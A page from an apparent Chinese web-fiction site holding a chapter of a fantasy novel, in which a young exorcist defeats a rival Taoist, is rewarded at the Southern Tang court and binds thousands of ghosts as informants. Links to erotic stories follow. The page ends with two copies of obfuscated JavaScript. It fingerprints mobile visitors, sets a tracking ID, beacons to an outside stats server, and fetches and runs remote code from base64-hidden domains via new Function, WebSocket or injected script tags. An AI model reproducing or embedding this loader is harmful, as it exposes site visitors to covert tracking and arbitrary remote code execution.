此时,先前那上百厉鬼已经被鬼卫们合力诛杀了大半,这一支生力军冲进战团,却未曾改变战场的局势。修炼了三百年的厉鬼,哪里将这些新进的小鬼们放在眼中,曾将军一鬼当先,挥动大刀闯进鬼魂群中,大刀漫天挥舞,嗤嗤声中,无数鬼魂都被灵刀砍碎了肢体,消散于空中。 东魁子看着局势不妙,心中暗怒道:“真是虎落平阳被犬欺!若不是和龟山派的杂毛们斗了个两败俱伤,本道爷法力未复,哪会将你这小辈放在眼中!也罢,先暂时退却,只待将来养足了精神,再来取你这贼子性命!”

既打了脚底抹油的主意,东魁子也不说什么,扭头便走,大步奔行,只是刚才被那一记闪电偷袭,体内电流狂窜,灵力不能运用自如,因此奔跑起来,脚下磕磕绊绊,跑得不是很快。

他一边跑,一边小心提防,生怕头上再落下闪电。他却不知,刚才那一下闪电,已经是竭尽李小民所能,初学乍练的五雷正法,已经不能再击下第二道闪电了。

正在亡命奔行,忽然间,眼前一花,一个俊秀少年突然出现在面前,冷笑道:“阴山贼道,哪里走!你那些师兄弟们都哪里去了,为什么只有一个人在这里?”

东魁子心下恐慌,却不肯服软,指着李小民大骂道:“小子!你完了!我阴山派人才辈出,我不过是来打前站的,只要我阴山派中弟子养足了精神,前来金陵,定教你金陵一城,万鬼横行!”

说着话,他举起拂尘柄,狠狠向李小民头上噼落,就要用这小小的拂尘,将李小民头颅敲碎!

李小民微微一笑,晶莹刃迎上前去,巨响声中,整个人被击得向后倒飞,不由咦了一声,对东魁子被五雷正法击伤后,仍有余力反击惊奇不已。

只是这般力量,还不足以将他击伤。李小民挥剑而行,如风般迫近东魁子身边,一剑刺出,剑尖直指他的咽喉。

东魁子咬牙切齿,举起随身多年的拂尘,东挡西杀,与李小民斗得不亦乐乎。

在后方,三百鬼卫如砍瓜切菜一般,放手大杀那些失了灵识的鬼魂,不多时,便将他们杀得干干净净,剩下的便是打扫战场,将尚未消散的灵力吞吃干净,以补充自己的消耗。

东魁子听得后面鬼魂惨叫声渐渐变弱,心中恐惧,知道新老部下已经死伤殆尽,面前的敌人却是越战越勇,今日只怕自己讨不了好去。 他狠狠一咬牙,拼力打出一招,逼开李小民,纵身飞退,放声喝道:“看本仙师绝招!万鬼爆!”

他手中掐动法诀,口里念念有词,正要用自己对万鬼大阵最后的控制力,让所有被锁住的鬼魂爆体,以此强大的冲击力,击伤闯进阵中的鬼兵,突然身后劲风袭来,两道如霜刀剑,自后心刺进,直透前胸。 东魁子口中咒语,陡然停下,不敢置信地低头看着胸前透出的灵刀,痛苦地闷哼一声,额头处,天灵盖开,一个浑身漆黑的三寸道人,纵身飞出,直向天空飞去。

李小民就在前方,哪肯让他的元神从容逃走,当下断喝一声,手中打出灵符,金光现处,掠过长空,轰然击在那黑人身上,击得它大声尖叫,一头摔落地面。

尚未落下,如飞赶至的曾将军便已挥动大刀,狠狠一刀将它削为两片,一口便将上半截吞进了血盆鬼口之中,然后捧着还在拼命踢打着双腿的下半身,恭恭敬敬地送到李小民面前,请他享用。

看着那漆黑的半截身子,两条干瘦细腿还在曾将军掌中乱踢,李小民看得恶心,扭头不理,摇手作呕道:“你喜欢吃,自己拿去!”

曾将军一番好意,倒讨了个没趣,讪讪地走回来,看着风霜二女正将刀剑自老道干瘪的身躯上拔出来,讨好地走过去,笑道:“二位姑娘,刚才杀了贼道,你们功劳最大,吃点东西,补补身子吧!”

两位美女翻翻白眼,退到一旁,不肯理他。沙将军却从旁边蹿出来,挥手夺去,大笑道:“承你厚情!”一仰脖,便将那两条腿塞进了自己嘴里,有滋有味地大嚼起来。

曾将军扁扁嘴,倒也没说什么,只是道:“你欠我一次!”走回去,看望自己部下鬼卫,是否有什么损伤。

点了一遍数,倒没有少什么鬼,虽有损伤,也都靠吃敌鬼的灵力补充过了,基本上还是占了个大便宜。

李小民缓步走到万葬岗顶,朗声喝道:“众鬼听了!吾乃大唐捉鬼法师是也,皇后有命,要我掌管金陵鬼界。尔等既在金陵为鬼,当奉我号令,不得有违!”

群鬼见东魁子已死,心中大快,可是也不愿奉此人号令,当下就有鬼叽叽喳喳地叫了起来:“你是何人,竟然口出狂言,我们逍遥自在惯了,才不会听你的命令!”

李小民也不强鬼所难,仰天大笑道:“既如此,我便离去!反正尔等困在此处,也不会再给金陵城中百姓添什么麻烦,就在此待到万劫之后罢了!”

说罢,李小民飘然下山,率领部下鬼卫扬长而去,只留下近万鬼魂,大眼瞪小眼地在阵中困坐,却不能象他那样,拥有强大法力,可以从容破阵而去。

下得山去,李小民找了附近驻军的将领,将周皇后给自己的任命书交与他看,只道自己奉了圣命,立下法阵,将金陵城中作怪的厉鬼尽都锁于此处,驻军可将此处山中封锁,不可让人畜经过,以免被山中恶鬼所害。 那将领看任命书有着可以指挥附近官吏、军队,便宜行事的字样,不敢有违,一一应诺,按照他的吩咐,在山外四处立于木牌,写上警告的字样,并派出所有士兵,守住各处道路,将乱葬岗团团围住,不许人经过。 金銮宝殿之上,众官肃然而立。宝座上,却未曾坐有天子,只在珠帘之后,一个丽人身穿皇后礼服,静静地坐在那里。

因为皇帝李渔最近因为一连串的闹鬼事件吓得病了,卧床不起,因此便命皇后监国,处理一应事务。

在别国,皇后监国之事,都很少有过。但在南唐,却是历史悠久,自第一代帝皇李知浩开始,历代都曾有过这样的事。

想当初,李知浩在率军反叛,害了吴帝一门之后,心中有愧,生怕冤魂索命,不久便即病倒,好好停停,能上殿理事的时间并不多。幸好他的元配夫人,南唐第一任皇后聪慧果敢,亲自代他处理朝廷大事,办事井井有条,深得大臣们敬重,以她英明的手段,将尚未平静的军心民心安抚下来,并发展农业生产,让百姓吃饱穿暖,这才有了大唐三百年的太平盛世。

从那之后,历代唐皇在生病时,都有可能委派太后、皇后或是太子监国。因此,每一代的皇后,都要有灵活的政治手腕才行,而本朝的周皇后,乃是当朝左相周泰之女,素习政事,又有其父率领无数门生弟子辅佐,在李渔病重时稳定朝局,也不是什么难事。

至于她的儿子,当朝太子李照,因为天生懦弱,一向不被百官们看好。便是让他监国,多半还是要听母亲和外祖父的,倒不如直接让周皇后监国来得好些。

此时,周皇后坐在珠帘后,赞许的目光看向金銮宝殿上站立的俊秀少年,芳心大慰,自喜没有看错人。

李小民身穿五品官员的朝服,手执象牙笏板,微垂双目,谦虚地道:“微臣托皇后娘娘洪福,已将金陵城中作乱的上万恶鬼,以锁灵大阵,困在城外乱葬岗处。只待百日之后,便可将群鬼炼化,令其不敢为恶。望娘娘发下旨意,将乱葬岗团团封锁,不让人畜进出,以免恶鬼趁乱逃出,危害百姓。”

接着,他又轻叹一声,道:“只是另一位前来捉鬼的法师东魁子,不慎被群鬼攻击,死于非命。还望娘娘能予以厚葬,不要让他暴尸荒野。” 周皇后含笑点头,凤目斜睨持笏站在殿上、脸色铁青的丹阳王李熊,微笑道:“丹阳王请来的法师不幸被恶鬼所害,自当厚葬。这件事,就请丹阳王亲自去办吧!”

李熊当众丢了脸面,忍气吞声地躬身接旨,一道嫉恨的目光射向李小民,虽然不知道是他下手害了东魁子,却也恨他抢了风头,让自己面目无光。

李小民只当看不见他怨毒的目光,谦虚地当殿而立,等待周皇后的下一步训示。

周皇后看着齿白唇红的美少年,心神微动,淡然笑道:“李小民,你本是宫中内侍,忠心为主,为我大唐朝廷立此大功。本宫封你为‘灵秀真人’,三品官职,领长水校尉衔,钦赐府第一座,允许你在宫外居住。为防恶鬼再度肆虐金陵,你可从御林军中,挑选壮士,组成护城军,并教授他们法术,以御恶鬼。”

李小民听得高兴,不光封了官,还能有一支军队可以率领,这对于自己暗中积聚实力,很有好处。

他跪地拜谢,心里暗自庆幸,幸好那个太监皇帝病了,才免了自己向他磕头。

这件事处理完了,李小民起身站到一旁,位列百官之中,身上有多道目光投来,都带着羡慕和嫉妒的光芒。

朝中百官纷纷上奏,将国家大事都上禀周皇后,请她定夺。

周皇后一一分派下来,井井有条,听得李小民暗自惊讶,想不到这美艳如花的美女,还有这么好的内政才能,她来管理天下,倒真的是十分适合。

不多时,众官奏毕,旁边的大太监高声唱诵,退了朝。

李小民下了殿,便有许多官员前来道贺,努力拉近和他的关系。现在他年纪轻轻,便已有了三品职衔,而且还是内侍,可以说是皇帝、皇后比较亲近的人。而且看起来他还是周皇后一派的,将来太子继位,他必然是太子的心腹干将,结交了他,好处绝不会少。

李小民呵呵笑着,与众官在一起说笑。眼角却看到李熊冷冷哼了一声,拂袖而去,去殿前领了东魁子乌黑焦烂的尸体,下去安葬了。 自这一日起,李熊便称病不再上朝,躲起来也不见人,谁也不知道他到哪里去了。

三日后。

在烈阳爆晒之下,被困在万鬼阵中的近万鬼魂,其中灵力低微的,已经抵抗不住烈日中所含阳气,魂飞魄散,消散在空中。剩下的也是哭喊着,争抢在树荫下躲藏,免得步了他们的后尘。

看着几十个鬼魂同伴被烈日晒化,冯大柱也是兔死狐悲,却不知何时这样的命运就会落到自己头上。虽然自己修炼两百年,灵力较强,但是一直困于此处,灵力一直遭到禁锢,魂飞魄散,也是迟早的事。

想到这里,他就禁不住后悔。若是当日听了那少年法师的话,肯做他的部下,也不至于便落到如此地步。

虽然他和那老道士一样,都是不安好心,想要收伏自己当鬼奴,到底还没有象东魁子一样心狠手黑,把所有投靠他的鬼魂都消了灵识,变得象白痴一样。现在想来,按那少年法师之意,自己只不过要和他订个鬼奴契约罢了,他也未必便会让自己去做什么伤天害理的事,自己也可以保住灵识不灭,免于魂飞魄散之苦了。

想到这里,他不禁举起鬼目,远远向山下看去,希望那法师不要放弃这近万鬼奴,这般庞大的实力,如何是说放便能放下的?虽然他手下三百鬼卫的战斗能力比这边近万鬼奴只强不弱,但鬼奴的实力,不是只以战斗能力来衡量的。

就象听到了他的唿唤一样,远远的,一个身穿白衣身影,骑着骏马,穿过军队的防线,缓缓走向乱葬岗。

冯大柱大喜看去,见来人眉清目秀,唇边含着一丝微笑,正是那法力强大的少年法师,不由惊喜莫名,打定主意,不管别鬼说什么,自己一定要先行投靠了他,免得他再生了气,把自己丢在这边,直到让太阳晒化了所有鬼魂为止。

骏马宾士,接近万鬼阵,脚步却慢了下来,立于乱葬岗下,浑身发抖,身上的鬃毛都在微微地颤动。

李小民微微笑了笑,手捏法诀,将一道镇魂符打入马的头部,果然看到那马精神了许多,昂首阔步,走上了乱葬岗。

高高站在岗上,李小民举目望去,但见近万鬼魂,都挤在树荫下,用可怜的目光看着自己,不由微微一笑,正要说话,忽然看到数百鬼魂,在一个壮汉的带领下,向自己冲来,在十几丈外纷纷拜倒,浑身颤抖地高唿道:“主人!小鬼愿拜主人为主,只求主人救拔小的,不要让小的再留在这里!”

李小民一怔,想不到这些鬼真的这么怕太阳,只晒了三天就熬不住了,比之自己手下的鬼卫,要差得太远了。

其他的鬼魂见有人挑头,都不敢落在后面,纷纷自树荫下冲出,拜伏于地,被酷日的光芒晒得浑身发抖,拼命地叩头,只求李小民不要放弃他们,便是永生永世做他的鬼奴,也顾不得了。

李小民看着那些鬼魂恐惧乞怜的目光,也不由心软,悠然长叹道:“尔等不必如此!既然你们想做我的鬼奴,我有章程在此,尔等须当遵守!”

那些鬼魂拼命地叩头惨叫道:“主人!主人说什么,我们照做就是了,求主人快快收了我们,不要让我们被太阳晒化了!”

李小民仰面向天,伸出手,口中念念有词。不多时,风云变幻,乌云从远处飘来,笼罩住了整个乱葬岗,将酷烈的阳光,隔绝在乌云之上。 上万鬼魂,这才松了一口气,对李小民强大的法力惊叹不已。便是那些桀骜不驯的厉鬼,也大都跪下叩头,愿奉这强大的法师为主。

李小民高居岗端,环顾四下鬼魂,淡然道:“尔等既奉我为主,前尘往事,我当既往不咎。但从今往后,非奉我号令,尔等不可杀生害命,汝等可能遵守么?”

近万鬼魂伏地叩首道:“主人,我们做鬼也不容易,为避天谴,杀人的事,我们是不敢做的,当初有杀人的,也是冤恨难消,为报仇所致。现在我们的仇人也都死了,愿遵主人法令,绝不再杀人。只求主人将来用不到我们时,能为我们消灾解业,让我们不必强寻替身,便可转世轮回,如此,小的深感主人大恩!”

李小民点头道:“这个自然。他日我仙法大成,建功立业,尔等有愿再入轮回的,我当亲为尔等持咒消业,让尔等来世也可寻个好人家投胎转世!”

众鬼感激叩拜,虽然不能尽信,但主人既然肯说这话,未来总还是有希望。

李小民望着满山遍野伏地叩首的鬼魂,朗声道:“今日尔等可诚心奉我为主,我便放尔等回去,重回金陵。在尔等之中,要设几百个头领,统领群鬼,分管城中大小区域。金陵城中,大小事情,都要禀报上来,由头领报与大头领,从今往后,尔等便是我之耳目,尔等可愿为么?” 群鬼当初害怕被人收伏,是生怕成为人的奴隶,做些火中取栗的危险勾当,现在一听不过是到处探听消息,这种事,鬼魂做起来最是顺手,哪有什么危险,都大喜叩拜,满口应承,保证将阿猫阿狗在阴沟里打架的事也都报上头领,由头领去禀告主人。

当下,李小民与群鬼订下主奴契约,严令他们不可再扰民,并答应下令金陵百姓,经常焚香,以飨群鬼,而群鬼要做的,就是躲在一旁偷听众人谈话,从里面寻到有价值的情报。若得到重要情报,可在功劳薄上记上一笔,若立的功多了,达到了某种标准,便可向大头领申请,由他禀报主人,请法师替功鬼超度。若是不愿投生的,也可借此功劳,向鬼卫学习法术,将来好有成为鬼仙的机会。

群鬼无不大喜,诚心叩拜主人的厚恩。从此之后,那些高门大户、将领官吏的家里,便成鬼魂聚集之所,无数梦想立功的鬼魂,都会在那里蹲点,甚至在他们夫妻行房时也恋恋不肯离去,只希望能从他们的只言片语中,得到朝廷大事的情报。只可惜李小民不准他们进入皇宫,也不许他们进入自己在外面的私宅,让那些被分配到了皇宫附近的地盘,梦想去皇宫探听立功的鬼魂,尽皆低头嗟叹不已。


上一篇:高官之家的淫乱传奇

下一篇:校园淫兽2


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};